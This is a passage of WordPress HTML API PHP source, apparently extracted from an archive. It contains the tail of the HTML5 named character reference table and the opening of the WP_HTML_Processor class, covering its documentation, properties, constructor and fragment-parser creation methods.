			// succcurlyeq;[≽] succnapprox;[⪺] subsetneqq;[⫋] succapprox;[⪸] supsetneqq;[⫌] subseteqq;[⫅] subsetneq;[⊊] supseteqq;[⫆] supsetneq;[⊋] subseteq;[⊆] succneqq;[⪶] succnsim;[⋩] supseteq;[⊇] subedot;[⫃] submult;[⫁] subplus;[⪿] subrarr;[⥹] succsim;[≿] supdsub;[⫘] supedot;[⫄] suphsol;[⟉] suphsub;[⫗] suplarr;[⥻] supmult;[⫂] supplus;[⫀] subdot;[⪽] subset;[⊂] subsim;[⫇] subsub;[⫕] subsup;[⫓] succeq;[⪰] supdot;[⪾] supset;[⊃] supsim;[⫈] supsub;[⫔] supsup;[⫖] subnE;[⫋] subne;[⊊] supnE;[⫌] supne;[⊋] subE;[⫅] sube;[⊆] succ;[≻] sung;[♪] sup1;[¹] sup2;[²] sup3;[³] supE;[⫆] supe;[⊇] sub;[⊂] sum;[∑] sup1[¹] sup2[²] sup3[³] sup;[⊃].
			"\x0acccurlyeq;\x03≽\x0accnapprox;\x03⪺\x09bsetneqq;\x03⫋\x09ccapprox;\x03⪸\x09psetneqq;\x03⫌\x08bseteqq;\x03⫅\x08bsetneq;\x03⊊\x08pseteqq;\x03⫆\x08psetneq;\x03⊋\x07bseteq;\x03⊆\x07ccneqq;\x03⪶\x07ccnsim;\x03⋩\x07pseteq;\x03⊇\x06bedot;\x03⫃\x06bmult;\x03⫁\x06bplus;\x03⪿\x06brarr;\x03⥹\x06ccsim;\x03≿\x06pdsub;\x03⫘\x06pedot;\x03⫄\x06phsol;\x03⟉\x06phsub;\x03⫗\x06plarr;\x03⥻\x06pmult;\x03⫂\x06pplus;\x03⫀\x05bdot;\x03⪽\x05bset;\x03⊂\x05bsim;\x03⫇\x05bsub;\x03⫕\x05bsup;\x03⫓\x05cceq;\x03⪰\x05pdot;\x03⪾\x05pset;\x03⊃\x05psim;\x03⫈\x05psub;\x03⫔\x05psup;\x03⫖\x04bnE;\x03⫋\x04bne;\x03⊊\x04pnE;\x03⫌\x04pne;\x03⊋\x03bE;\x03⫅\x03be;\x03⊆\x03cc;\x03≻\x03ng;\x03♪\x03p1;\x02¹\x03p2;\x02²\x03p3;\x02³\x03pE;\x03⫆\x03pe;\x03⊇\x02b;\x03⊂\x02m;\x03∑\x02p1\x02¹\x02p2\x02²\x02p3\x02³\x02p;\x03⊃",
			// swarrow;[↙] swarhk;[⤦] swnwar;[⤪] swArr;[⇙] swarr;[↙].
			"\x06arrow;\x03↙\x05arhk;\x03⤦\x05nwar;\x03⤪\x04Arr;\x03⇙\x04arr;\x03↙",
			// szlig;[ß] szlig[ß].
			"\x04lig;\x02ß\x03lig\x02ß",
			// target;[⌖] tau;[τ].
			"\x05rget;\x03⌖\x02u;\x02τ",
			// tbrk;[⎴].
			"\x03rk;\x03⎴",
			// tcaron;[ť] tcedil;[ţ] tcy;[т].
			"\x05aron;\x02ť\x05edil;\x02ţ\x02y;\x02т",
			// tdot;[⃛].
			"\x03ot;\x03⃛",
			// telrec;[⌕].
			"\x05lrec;\x03⌕",
			// tfr;[𝔱].
			"\x02r;\x04𝔱",
			// thickapprox;[≈] therefore;[∴] thetasym;[ϑ] thicksim;[∼] there4;[∴] thetav;[ϑ] thinsp;[ ] thksim;[∼] theta;[θ] thkap;[≈] thorn;[þ] thorn[þ].
			"\x0aickapprox;\x03≈\x08erefore;\x03∴\x07etasym;\x02ϑ\x07icksim;\x03∼\x05ere4;\x03∴\x05etav;\x02ϑ\x05insp;\x03 \x05ksim;\x03∼\x04eta;\x02θ\x04kap;\x03≈\x04orn;\x02þ\x03orn\x02þ",
			// timesbar;[⨱] timesb;[⊠] timesd;[⨰] tilde;[˜] times;[×] times[×] tint;[∭].
			"\x07mesbar;\x03⨱\x05mesb;\x03⊠\x05mesd;\x03⨰\x04lde;\x02˜\x04mes;\x02×\x03mes\x02×\x03nt;\x03∭",
			// topfork;[⫚] topbot;[⌶] topcir;[⫱] toea;[⤨] topf;[𝕥] tosa;[⤩] top;[⊤].
			"\x06pfork;\x03⫚\x05pbot;\x03⌶\x05pcir;\x03⫱\x03ea;\x03⤨\x03pf;\x04𝕥\x03sa;\x03⤩\x02p;\x03⊤",
			// tprime;[‴].
			"\x05rime;\x03‴",
			// trianglerighteq;[⊵] trianglelefteq;[⊴] triangleright;[▹] triangledown;[▿] triangleleft;[◃] triangleq;[≜] triangle;[▵] triminus;[⨺] trpezium;[⏢] triplus;[⨹] tritime;[⨻] tridot;[◬] trade;[™] trisb;[⧍] trie;[≜].
			"\x0eianglerighteq;\x03⊵\x0dianglelefteq;\x03⊴\x0ciangleright;\x03▹\x0biangledown;\x03▿\x0biangleleft;\x03◃\x08iangleq;\x03≜\x07iangle;\x03▵\x07iminus;\x03⨺\x07pezium;\x03⏢\x06iplus;\x03⨹\x06itime;\x03⨻\x05idot;\x03◬\x04ade;\x03™\x04isb;\x03⧍\x03ie;\x03≜",
			// tstrok;[ŧ] tshcy;[ћ] tscr;[𝓉] tscy;[ц].
			"\x05trok;\x02ŧ\x04hcy;\x02ћ\x03cr;\x04𝓉\x03cy;\x02ц",
			// twoheadrightarrow;[↠] twoheadleftarrow;[↞] twixt;[≬].
			"\x10oheadrightarrow;\x03↠\x0foheadleftarrow;\x03↞\x04ixt;\x03≬",
			// uArr;[⇑].
			"\x03rr;\x03⇑",
			// uHar;[⥣].
			"\x03ar;\x03⥣",
			// uacute;[ú] uacute[ú] uarr;[↑].
			"\x05cute;\x02ú\x04cute\x02ú\x03rr;\x03↑",
			// ubreve;[ŭ] ubrcy;[ў].
			"\x05reve;\x02ŭ\x04rcy;\x02ў",
			// ucirc;[û] ucirc[û] ucy;[у].
			"\x04irc;\x02û\x03irc\x02û\x02y;\x02у",
			// udblac;[ű] udarr;[⇅] udhar;[⥮].
			"\x05blac;\x02ű\x04arr;\x03⇅\x04har;\x03⥮",
			// ufisht;[⥾] ufr;[𝔲].
			"\x05isht;\x03⥾\x02r;\x04𝔲",
			// ugrave;[ù] ugrave[ù].
			"\x05rave;\x02ù\x04rave\x02ù",
			// uharl;[↿] uharr;[↾] uhblk;[▀].
			"\x04arl;\x03↿\x04arr;\x03↾\x04blk;\x03▀",
			// ulcorner;[⌜] ulcorn;[⌜] ulcrop;[⌏] ultri;[◸].
			"\x07corner;\x03⌜\x05corn;\x03⌜\x05crop;\x03⌏\x04tri;\x03◸",
			// umacr;[ū] uml;[¨] uml[¨].
			"\x04acr;\x02ū\x02l;\x02¨\x01l\x02¨",
			// uogon;[ų] uopf;[𝕦].
			"\x04gon;\x02ų\x03pf;\x04𝕦",
			// upharpoonright;[↾] upharpoonleft;[↿] updownarrow;[↕] upuparrows;[⇈] uparrow;[↑] upsilon;[υ] uplus;[⊎] upsih;[ϒ] upsi;[υ].
			"\x0dharpoonright;\x03↾\x0charpoonleft;\x03↿\x0adownarrow;\x03↕\x09uparrows;\x03⇈\x06arrow;\x03↑\x06silon;\x02υ\x04lus;\x03⊎\x04sih;\x02ϒ\x03si;\x02υ",
			// urcorner;[⌝] urcorn;[⌝] urcrop;[⌎] uring;[ů] urtri;[◹].
			"\x07corner;\x03⌝\x05corn;\x03⌝\x05crop;\x03⌎\x04ing;\x02ů\x04tri;\x03◹",
			// uscr;[𝓊].
			"\x03cr;\x04𝓊",
			// utilde;[ũ] utdot;[⋰] utrif;[▴] utri;[▵].
			"\x05ilde;\x02ũ\x04dot;\x03⋰\x04rif;\x03▴\x03ri;\x03▵",
			// uuarr;[⇈] uuml;[ü] uuml[ü].
			"\x04arr;\x03⇈\x03ml;\x02ü\x02ml\x02ü",
			// uwangle;[⦧].
			"\x06angle;\x03⦧",
			// vArr;[⇕].
			"\x03rr;\x03⇕",
			// vBarv;[⫩] vBar;[⫨].
			"\x04arv;\x03⫩\x03ar;\x03⫨",
			// vDash;[⊨].
			"\x04ash;\x03⊨",
			// vartriangleright;[⊳] vartriangleleft;[⊲] varsubsetneqq;[⫋︀] varsupsetneqq;[⫌︀] varsubsetneq;[⊊︀] varsupsetneq;[⊋︀] varepsilon;[ϵ] varnothing;[∅] varpropto;[∝] varkappa;[ϰ] varsigma;[ς] vartheta;[ϑ] vangrt;[⦜] varphi;[ϕ] varrho;[ϱ] varpi;[ϖ] varr;[↕].
			"\x0frtriangleright;\x03⊳\x0ertriangleleft;\x03⊲\x0crsubsetneqq;\x06⫋︀\x0crsupsetneqq;\x06⫌︀\x0brsubsetneq;\x06⊊︀\x0brsupsetneq;\x06⊋︀\x09repsilon;\x02ϵ\x09rnothing;\x03∅\x08rpropto;\x03∝\x07rkappa;\x02ϰ\x07rsigma;\x02ς\x07rtheta;\x02ϑ\x05ngrt;\x03⦜\x05rphi;\x02ϕ\x05rrho;\x02ϱ\x04rpi;\x02ϖ\x03rr;\x03↕",
			// vcy;[в].
			"\x02y;\x02в",
			// vdash;[⊢].
			"\x04ash;\x03⊢",
			// veebar;[⊻] vellip;[⋮] verbar;[|] veeeq;[≚] vert;[|] vee;[∨].
			"\x05ebar;\x03⊻\x05llip;\x03⋮\x05rbar;\x01|\x04eeq;\x03≚\x03rt;\x01|\x02e;\x03∨",
			// vfr;[𝔳].
			"\x02r;\x04𝔳",
			// vltri;[⊲].
			"\x04tri;\x03⊲",
			// vnsub;[⊂⃒] vnsup;[⊃⃒].
			"\x04sub;\x06⊂⃒\x04sup;\x06⊃⃒",
			// vopf;[𝕧].
			"\x03pf;\x04𝕧",
			// vprop;[∝].
			"\x04rop;\x03∝",
			// vrtri;[⊳].
			"\x04tri;\x03⊳",
			// vsubnE;[⫋︀] vsubne;[⊊︀] vsupnE;[⫌︀] vsupne;[⊋︀] vscr;[𝓋].
			"\x05ubnE;\x06⫋︀\x05ubne;\x06⊊︀\x05upnE;\x06⫌︀\x05upne;\x06⊋︀\x03cr;\x04𝓋",
			// vzigzag;[⦚].
			"\x06igzag;\x03⦚",
			// wcirc;[ŵ].
			"\x04irc;\x02ŵ",
			// wedbar;[⩟] wedgeq;[≙] weierp;[℘] wedge;[∧].
			"\x05dbar;\x03⩟\x05dgeq;\x03≙\x05ierp;\x03℘\x04dge;\x03∧",
			// wfr;[𝔴].
			"\x02r;\x04𝔴",
			// wopf;[𝕨].
			"\x03pf;\x04𝕨",
			// wp;[℘].
			"\x01;\x03℘",
			// wreath;[≀] wr;[≀].
			"\x05eath;\x03≀\x01;\x03≀",
			// wscr;[𝓌].
			"\x03cr;\x04𝓌",
			// xcirc;[◯] xcap;[⋂] xcup;[⋃].
			"\x04irc;\x03◯\x03ap;\x03⋂\x03up;\x03⋃",
			// xdtri;[▽].
			"\x04tri;\x03▽",
			// xfr;[𝔵].
			"\x02r;\x04𝔵",
			// xhArr;[⟺] xharr;[⟷].
			"\x04Arr;\x03⟺\x04arr;\x03⟷",
			// xi;[ξ].
			"\x01;\x02ξ",
			// xlArr;[⟸] xlarr;[⟵].
			"\x04Arr;\x03⟸\x04arr;\x03⟵",
			// xmap;[⟼].
			"\x03ap;\x03⟼",
			// xnis;[⋻].
			"\x03is;\x03⋻",
			// xoplus;[⨁] xotime;[⨂] xodot;[⨀] xopf;[𝕩].
			"\x05plus;\x03⨁\x05time;\x03⨂\x04dot;\x03⨀\x03pf;\x04𝕩",
			// xrArr;[⟹] xrarr;[⟶].
			"\x04Arr;\x03⟹\x04arr;\x03⟶",
			// xsqcup;[⨆] xscr;[𝓍].
			"\x05qcup;\x03⨆\x03cr;\x04𝓍",
			// xuplus;[⨄] xutri;[△].
			"\x05plus;\x03⨄\x04tri;\x03△",
			// xvee;[⋁].
			"\x03ee;\x03⋁",
			// xwedge;[⋀].
			"\x05edge;\x03⋀",
			// yacute;[ý] yacute[ý] yacy;[я].
			"\x05cute;\x02ý\x04cute\x02ý\x03cy;\x02я",
			// ycirc;[ŷ] ycy;[ы].
			"\x04irc;\x02ŷ\x02y;\x02ы",
			// yen;[¥] yen[¥].
			"\x02n;\x02¥\x01n\x02¥",
			// yfr;[𝔶].
			"\x02r;\x04𝔶",
			// yicy;[ї].
			"\x03cy;\x02ї",
			// yopf;[𝕪].
			"\x03pf;\x04𝕪",
			// yscr;[𝓎].
			"\x03cr;\x04𝓎",
			// yucy;[ю] yuml;[ÿ] yuml[ÿ].
			"\x03cy;\x02ю\x03ml;\x02ÿ\x02ml\x02ÿ",
			// zacute;[ź].
			"\x05cute;\x02ź",
			// zcaron;[ž] zcy;[з].
			"\x05aron;\x02ž\x02y;\x02з",
			// zdot;[ż].
			"\x03ot;\x02ż",
			// zeetrf;[ℨ] zeta;[ζ].
			"\x05etrf;\x03ℨ\x03ta;\x02ζ",
			// zfr;[𝔷].
			"\x02r;\x04𝔷",
			// zhcy;[ж].
			"\x03cy;\x02ж",
			// zigrarr;[⇝].
			"\x06grarr;\x03⇝",
			// zopf;[𝕫].
			"\x03pf;\x04𝕫",
			// zscr;[𝓏].
			"\x03cr;\x04𝓏",
			// zwnj;[‌] zwj;[‍].
			"\x03nj;\x03‌\x02j;\x03‍",
		),
		"small_words" => "GT\x00LT\x00gt\x00lt\x00",
		"small_mappings" => array(
			">",
			"<",
			">",
			"<",
		)
	)
);
PKYO\��_3�A�Aclass-wp-html-processor.phpnu�[���<?php
/**
 * HTML API: WP_HTML_Processor class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used to safely parse and modify an HTML document.
 *
 * The HTML Processor class properly parses and modifies HTML5 documents.
 *
 * It supports a subset of the HTML5 specification, and when it encounters
 * unsupported markup, it aborts early to avoid unintentionally breaking
 * the document. The HTML Processor should never break an HTML document.
 *
 * While the `WP_HTML_Tag_Processor` is a valuable tool for modifying
 * attributes on individual HTML tags, the HTML Processor is more capable
 * and useful for the following operations:
 *
 *  - Querying based on nested HTML structure.
 *
 * Eventually the HTML Processor will also support:
 *  - Wrapping a tag in surrounding HTML.
 *  - Unwrapping a tag by removing its parent.
 *  - Inserting and removing nodes.
 *  - Reading and changing inner content.
 *  - Navigating up or around HTML structure.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *   1. Call a static creator method with your input HTML document.
 *   2. Find the location in the document you are looking for.
 *   3. Request changes to the document at that location.
 *
 * Example:
 *
 *     $processor = WP_HTML_Processor::create_fragment( $html );
 *     if ( $processor->next_tag( array( 'breadcrumbs' => array( 'DIV', 'FIGURE', 'IMG' ) ) ) ) {
 *         $processor->add_class( 'responsive-image' );
 *     }
 *
 * #### Breadcrumbs
 *
 * Breadcrumbs represent the stack of open elements from the root
 * of the document or fragment down to the currently-matched node,
 * if one is currently selected. Call WP_HTML_Processor::get_breadcrumbs()
 * to inspect the breadcrumbs for a matched tag.
 *
 * Breadcrumbs can specify nested HTML structure and are equivalent
 * to a CSS selector comprising tag names separated by the child
 * combinator, such as "DIV > FIGURE > IMG".
 *
 * Since all elements find themselves inside a full HTML document
 * when parsed, the return value from `get_breadcrumbs()` will always
 * contain any implicit outermost elements. For example, when parsing
 * with `create_fragment()` in the `BODY` context (the default), any
 * tag in the given HTML document will contain `array( 'HTML', 'BODY', … )`
 * in its breadcrumbs.
 *
 * Despite containing the implied outermost elements in their breadcrumbs,
 * tags may be found with the shortest-matching breadcrumb query. That is,
 * `array( 'IMG' )` matches all IMG elements and `array( 'P', 'IMG' )`
 * matches all IMG elements directly inside a P element. To ensure that no
 * partial matches erroneously match it's possible to specify in a query
 * the full breadcrumb match all the way down from the root HTML element.
 *
 * Example:
 *
 *     $html = '<figure><img><figcaption>A <em>lovely</em> day outside</figcaption></figure>';
 *     //               ----- Matches here.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'FIGURE', 'IMG' ) ) );
 *
 *     $html = '<figure><img><figcaption>A <em>lovely</em> day outside</figcaption></figure>';
 *     //                                  ---- Matches here.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'FIGURE', 'FIGCAPTION', 'EM' ) ) );
 *
 *     $html = '<div><img></div><img>';
 *     //                       ----- Matches here, because IMG must be a direct child of the implicit BODY.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'BODY', 'IMG' ) ) );
 *
 * ## HTML Support
 *
 * This class implements a small part of the HTML5 specification.
 * It's designed to operate within its support and abort early whenever
 * encountering circumstances it can't properly handle. This is
 * the principle way in which this class remains as simple as possible
 * without cutting corners and breaking compliance.
 *
 * ### Supported elements
 *
 * If any unsupported element appears in the HTML input the HTML Processor
 * will abort early and stop all processing. This draconian measure ensures
 * that the HTML Processor won't break any HTML it doesn't fully understand.
 *
 * The HTML Processor supports all elements other than a specific set:
 *
 *  - Any element inside a TABLE.
 *  - Any element inside foreign content, including SVG and MATH.
 *  - Any element outside the IN BODY insertion mode, e.g. doctype declarations, meta, links.
 *
 * ### Supported markup
 *
 * Some kinds of non-normative HTML involve reconstruction of formatting elements and
 * re-parenting of mis-nested elements. For example, a DIV tag found inside a TABLE
 * may in fact belong _before_ the table in the DOM. If the HTML Processor encounters
 * such a case it will stop processing.
 *
 * The following list illustrates some common examples of unexpected HTML inputs that
 * the HTML Processor properly parses and represents:
 *
 *  - HTML with optional tags omitted, e.g. `<p>one<p>two`.
 *  - HTML with unexpected tag closers, e.g. `<p>one </span> more</p>`.
 *  - Non-void tags with self-closing flag, e.g. `<div/>the DIV is still open.</div>`.
 *  - Heading elements which close open heading elements of another level, e.g. `<h1>Closed by </h2>`.
 *  - Elements containing text that looks like other tags but isn't, e.g. `<title>The <img> is plaintext</title>`.
 *  - SCRIPT and STYLE tags containing text that looks like HTML but isn't, e.g. `<script>document.write('<p>Hi</p>');</script>`.
 *  - SCRIPT content which has been escaped, e.g. `<script><!-- document.write('<script>console.log("hi")</script>') --></script>`.
 *
 * ### Unsupported Features
 *
 * This parser does not report parse errors.
 *
 * Normally, when additional HTML or BODY tags are encountered in a document, if there
 * are any additional attributes on them that aren't found on the previous elements,
 * the existing HTML and BODY elements adopt those missing attribute values. This
 * parser does not add those additional attributes.
 *
 * In certain situations, elements are moved to a different part of the document in
 * a process called "adoption" and "fostering." Because the nodes move to a location
 * in the document that the parser had already processed, this parser does not support
 * these situations and will bail.
 *
 * @since 6.4.0
 *
 * @see WP_HTML_Tag_Processor
 * @see https://html.spec.whatwg.org/
 */
class WP_HTML_Processor extends WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at any given time.
	 *
	 * HTML processing requires more bookmarks than basic tag processing,
	 * so this class constant from the Tag Processor is overwritten.
	 *
	 * @since 6.4.0
	 *
	 * @var int
	 */
	const MAX_BOOKMARKS = 100;

	/**
	 * Holds the working state of the parser, including the stack of
	 * open elements and the stack of active formatting elements.
	 *
	 * Initialized in the constructor.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Processor_State
	 */
	private $state;

	/**
	 * Used to create unique bookmark names.
	 *
	 * This class sets a bookmark for every tag in the HTML document that it encounters.
	 * The bookmark name is auto-generated and increments, starting with `1`. These are
	 * internal bookmarks and are automatically released when the referring WP_HTML_Token
	 * goes out of scope and is garbage-collected.
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::$release_internal_bookmark_on_destruct
	 *
	 * @var int
	 */
	private $bookmark_counter = 0;

	/**
	 * Stores an explanation for why something failed, if it did.
	 *
	 * @see self::get_last_error
	 *
	 * @since 6.4.0
	 *
	 * @var string|null
	 */
	private $last_error = null;

	/**
	 * Stores context for why the parser bailed on unsupported HTML, if it did.
	 *
	 * @see self::get_unsupported_exception
	 *
	 * @since 6.7.0
	 *
	 * @var WP_HTML_Unsupported_Exception|null
	 */
	private $unsupported_exception = null;

	/**
	 * Releases a bookmark when PHP garbage-collects its wrapping WP_HTML_Token instance.
	 *
	 * This function is created inside the class constructor so that it can be passed to
	 * the stack of open elements and the stack of active formatting elements without
	 * exposing it as a public method on the class.
	 *
	 * @since 6.4.0
	 *
	 * @var Closure|null
	 */
	private $release_internal_bookmark_on_destruct = null;

	/**
	 * Stores stack events which arise during parsing of the
	 * HTML document, which will then supply the "match" events.
	 *
	 * @since 6.6.0
	 *
	 * @var WP_HTML_Stack_Event[]
	 */
	private $element_queue = array();

	/**
	 * Stores the current breadcrumbs.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	private $breadcrumbs = array();

	/**
	 * Current stack event, if set, representing a matched token.
	 *
	 * Because the parser may internally point to a place further along in a document
	 * than the nodes which have already been processed (some "virtual" nodes may have
	 * appeared while scanning the HTML document), this will point at the "current" node
	 * being processed. It comes from the front of the element queue.
	 *
	 * @since 6.6.0
	 *
	 * @var WP_HTML_Stack_Event|null
	 */
	private $current_element = null;

	/**
	 * Context node if created as a fragment parser.
	 *
	 * @var WP_HTML_Token|null
	 */
	private $context_node = null;

	/*
	 * Public Interface Functions
	 */

	/**
	 * Creates an HTML processor in the fragment parsing mode.
	 *
	 * Use this for cases where you are processing chunks of HTML that
	 * will be found within a bigger HTML document, such as rendered
	 * block output that exists within a post, `the_content` inside a
	 * rendered site layout.
	 *
	 * Fragment parsing occurs within a context, which is an HTML element
	 * that the document will eventually be placed in. It becomes important
	 * when special elements have different rules than others, such as inside
	 * a TEXTAREA or a TITLE tag where things that look like tags are text,
	 * or inside a SCRIPT tag where things that look like HTML syntax are JS.
	 *
	 * The context value should be a representation of the tag into which the
	 * HTML is found. For most cases this will be the body element. The HTML
	 * form is provided because a context element may have attributes that
	 * impact the parse, such as with a SCRIPT tag and its `type` attribute.
	 *
	 * ## Current HTML Support
	 *
	 *  - The only supported context is `<body>`, which is the default value.
	 *  - The only supported document encoding is `UTF-8`, which is the default value.
	 *
	 * @since 6.4.0
	 * @since 6.6.0 Returns `static` instead of `self` so it can create subclass instances.
	 *
	 * @param string $html     Input HTML fragment to process.
	 * @param string $context  Context element for the fragment, must be default of `<body>`.
	 * @param string $encoding Text encoding of the document; must be default of 'UTF-8'.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	public static function create_fragment( $html, $context = '<body>', $encoding = 'UTF-8' ) {
		if ( '<body>' !== $context || 'UTF-8' !== $encoding ) {
			return null;
		}

		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			return null;
		}

		$context_processor = static::create_full_parser( "<!DOCTYPE html>{$context}", $encoding );
		if ( null === $context_processor ) {
			return null;
		}

		while ( $context_processor->next_tag() ) {
			if ( ! $context_processor->is_virtual() ) {
				$context_processor->set_bookmark( 'final_node' );
			}
		}

		if (
			! $context_processor->has_bookmark( 'final_node' ) ||
			! $context_processor->seek( 'final_node' )
		) {
			_doing_it_wrong( __METHOD__, __( 'No valid context element was detected.' ), '6.8.0' );
			return null;
		}

		return $context_processor->create_fragment_at_current_node( $html );
	}

	/**
	 * Creates an HTML processor in the full parsing mode.
	 *
	 * It's likely that a fragment parser is more appropriate, unless sending an
	 * entire HTML document from start to finish. Consider a fragment parser with
	 * a context node of `<body>`.
	 *
	 * UTF-8 is the only allowed encoding. If working with a document that
	 * isn't UTF-8, first convert the document to UTF-8, then pass in the
	 * converted HTML.
	 *
	 * @param string      $html                    Input HTML document to process.
	 * @param string|null $known_definite_encoding Optional. If provided, specifies the charset used
	 *                                             in the input byte stream. Currently must be UTF-8.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	public static function create_full_parser( $html, $known_definite_encoding = 'UTF-8' ) {
		if ( 'UTF-8' !== $known_definite_encoding ) {
			return null;
		}
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			return null;
		}

		$processor                             = new static( $html, self::CONSTRUCTOR_UNLOCK_CODE );
		$processor->state->encoding            = $known_definite_encoding;
		$processor->state->encoding_confidence = 'certain';

		return $processor;
	}

	/**
	 * Constructor.
	 *
	 * Do not use this method. Use the static creator methods instead.
	 *
	 * @access private
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::create_fragment()
	 *
	 * @param string      $html                                  HTML to process.
	 * @param string|null $use_the_static_create_methods_instead This constructor should not be called manually.
	 */
	public function __construct( $html, $use_the_static_create_methods_instead = null ) {
		parent::__construct( $html );

		if ( self::CONSTRUCTOR_UNLOCK_CODE !== $use_the_static_create_methods_instead ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: WP_HTML_Processor::create_fragment(). */
					__( 'Call %s to create an HTML Processor instead of calling the constructor directly.' ),
					'<code>WP_HTML_Processor::create_fragment()</code>'
				),
				'6.4.0'
			);
		}

		$this->state = new WP_HTML_Processor_State();

		$this->state->stack_of_open_elements->set_push_handler(
			function ( WP_HTML_Token $token ): void {
				$is_virtual            = ! isset( $this->state->current_token ) || $this->is_tag_closer();
				$same_node             = isset( $this->state->current_token ) && $token->node_name === $this->state->current_token->node_name;
				$provenance            = ( ! $same_node || $is_virtual ) ? 'virtual' : 'real';
				$this->element_queue[] = new WP_HTML_Stack_Event( $token, WP_HTML_Stack_Event::PUSH, $provenance );

				$this->change_parsing_namespace( $token->integration_node_type ? 'html' : $token->namespace );
			}
		);

		$this->state->stack_of_open_elements->set_pop_handler(
			function ( WP_HTML_Token $token ): void {
				$is_virtual            = ! isset( $this->state->current_token ) || ! $this->is_tag_closer();
				$same_node             = isset( $this->state->current_token ) && $token->node_name === $this->state->current_token->node_name;
				$provenance            = ( ! $same_node || $is_virtual ) ? 'virtual' : 'real';
				$this->element_queue[] = new WP_HTML_Stack_Event( $token, WP_HTML_Stack_Event::POP, $provenance );

				$adjusted_current_node = $this->get_adjusted_current_node();

				if ( $adjusted_current_node ) {
					$this->change_parsing_namespace( $adjusted_current_node->integration_node_type ? 'html' : $adjusted_current_node->namespace );
				} else {
					$this->change_parsing_namespace( 'html' );
				}
			}
		);

		/*
		 * Create this wrapper so that it's possible to pass
		 * a private method into WP_HTML_Token classes without
		 * exposing it to any public API.
		 */
		$this->release_internal_bookmark_on_destruct = function ( string $name ): void {
			parent::release_bookmark( $name );
		};
	}

	/**
	 * Creates a fragment processor at the current node.
	 *
	 * HTML Fragment parsing always happens with a context node. HTML Fragment Processors can be
	 * instantiated with a `BODY` context node via `WP_HTML_Processor::create_fragment( $html )`.
	 *
	 * The context node may impact how a fragment of HTML is parsed. For example, consider the HTML
	 * fragment `<td />Inside TD?</td>`.
	 *
	 * A BODY context node will produce the following tree:
	 *
	 *     └─#text Inside TD?
	 *
	 * Notice that the `<td>` tags are completely ignored.
	 *
	 * Compare that with an SVG context node that produces the following tree:
	 *
	 *     ├─svg:td
	 *     └─#text Inside TD?
	 *
	 * Here, a `td` node in the `svg` namespace is created, and its self-closing flag is respected.
	 * This is a peculiarity of parsing HTML in foreign content like SVG.
	 *
	 * Finally, consider the tree produced with a TABLE context node:
	 *
	 *     └─TBODY
	 *       └─TR
	 *         └─TD
	 *           └─#text Inside TD?
	 *
	 * These examples demonstrate how important the context node may be when processing an HTML
	 * fragment. Special care must be taken when processing fragments that are expected to appear
	 * in specific contexts. SVG and TABLE are good examples, but there are others.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#html-fragment-parsing-algorithm
	 *
	 * @since 6.8.0
	 *
	 * @param string $html Input HTML fragment to process.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	private function create_fragment_at_current_node( string $html ) {
		if ( $this->get_token_type() !== '#tag' || $this->is_tag_closer() ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The context element must be a start tag.' ),
				'6.8.0'
			);
			return null;
		}

		$tag_name  = $this->current_element->token->node_name;
		$namespace = $this->current_element->token->namespace;

		if ( 'html' === $namespace && self::is_void( $tag_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					// translators: %s: A tag name like INPUT or BR.
					__( 'The context element cannot be a void element, found "%s".' ),
					$tag_name
				),
				'6.8.0'
			);
			return null;
		}

		/*
		 * Prevent creating fragments at nodes that require a special tokenizer state.
		 * This is unsupported by the HTML Processor.
		 */
		if (
			'html' === $namespace &&
			in_array( $tag_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP', 'PLAINTEXT' ), true )
		) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					// translators: %s: A tag name like IFRAME or TEXTAREA.
					__( 'The context element "%s" is not supported.' ),
					$tag_name
				),
				'6.8.0'
			);
			return null;
		}

		$fragment_processor = new static( $html, self::CONSTRUCTOR_UNLOCK_CODE );

		$fragment_processor->compat_mode = $this->compat_mode;

		// @todo Create "fake" bookmarks for non-existent but implied nodes.
		$fragment_processor->bookmarks['root-node'] = new WP_HTML_Span( 0, 0 );
		$root_node                                  = new WP_HTML_Token(
			'root-node',
			'HTML',
			false
		);
		$fragment_processor->state->stack_of_open_elements->push( $root_node );

		$fragment_processor->bookmarks['context-node']   = new WP_HTML_Span( 0, 0 );
		$fragment_processor->context_node                = clone $this->current_element->token;
		$fragment_processor->context_node->bookmark_name = 'context-node';
		$fragment_processor->context_node->on_destroy    = null;

		$fragment_processor->breadcrumbs = array( 'HTML', $fragment_processor->context_node->node_name );

		if ( 'TEMPLATE' === $fragment_processor->context_node->node_name ) {
			$fragment_processor->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
		}

		$fragment_processor->reset_insertion_mode_appropriately();

		/*
		 * > Set the parser's form element pointer to the nearest node to the context element that
		 * > is a form element (going straight up the ancestor chain, and including the element
		 * > itself, if it is a form element), if any. (If there is no such form element, the
		 * > form element pointer keeps its initial value, null.)
		 */
		foreach ( $this->state->stack_of_open_elements->walk_up() as $element ) {
			if ( 'FORM' === $element->node_name && 'html' === $element->namespace ) {
				$fragment_processor->state->form_element                = clone $element;
				$fragment_processor->state->form_element->bookmark_name = null;
